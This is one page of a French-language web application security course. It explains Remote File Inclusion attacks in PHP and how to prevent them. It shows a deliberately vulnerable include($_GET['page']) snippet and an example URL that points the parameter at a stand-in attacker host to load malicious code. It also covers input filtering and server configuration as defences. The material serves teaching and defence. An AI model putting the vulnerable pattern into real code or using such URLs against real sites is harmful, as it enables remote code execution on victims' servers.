Sécurité des applications Web - Menaces et contre-mesures

Auteur: Mohamed CHINY Durée necessaire pour le cours de Sécurité des applications Web - Menaces et contre-mesures Niveau recommandé pour le cours de Sécurité des applications Web - Menaces et contre-mesures Supports vidéo non disponibles pour ce cours Exercices de renforcement non disponibles pour ce cours Quiz non disponibles pour ce cours

Page 8: Attaque RFI (Remote File Inclusion)

Toutes les pages

Remote File Inclusion - RFI

Définition

RFI (pour Remote File Inclusion) est une attaque dont le principe est très proche de Null Byte Injection vu précédemment. D'ailleurs les deux attaques peuvent être combinées pour améliorer les chances de succès de l'attaque.

Cette attaque vise à inclure des fichiers externes au moment de l'exécution du code. Comme pour les autres attaques, la vulnérabilité est créée à cause de l'imprudence du développeur qui ne vérifie pas assez les entrées du site Web.

Si l'attaque RFI réussit alors elle peut causer plein d'ennuies comme par exemple:
  • Exécution d'un code externe malveillant sur le site victime.
  • Affichage du contenu d'un fichier local non autorisé en temps normal (Presque le même principe que le Null Byte Attack).
  • Affichage du code source PHP.

Exploitation

Supposons que le code da la page vulnérable au RFI contient ceci:
<?php
   $page=$_GET["page"];
   include($page);
?>
Si le pirate passe à travers l'URL l'adresse suivante:
http://www.site-victime.com/pageVulnérable.php?page=http://www.sitePirate.com/codeMalveillant.txt
Alors le code malveillant sera inclus dans le site victime et aura toutes les chances de s'exécuter et provoquer ainsi des dégâts qui peuvent être irrémédiables.

Comment s'en protéger?

Au niveau du code PHP

Comme pour les autres attaques, pour se prémunir contre le Remote File Injection, le meilleur moyen en PHP est de bien filtrer les entrées et n'autoriser que certaines occurrences que l'on aurait fixé au préalable. Et vu que le paramètre GET passé par le pirate est souvent trop long, on peut déjà commencer par limiter la longueur autorisée.

Au niveau de la configuration du serveur

En PHP, il existe une directive qui permet de spécifier si l'on autorise ou non de récupérer des fichiers externes pour les inclure au moment de l'exécution. Le bon sens dit qu'il ne faut pas autoriser cette pratique vue le risque imminent qu'elle présente.

Sur le fichier php.ini il faut désactiver la directive suivante:
allow_url_fopen = Off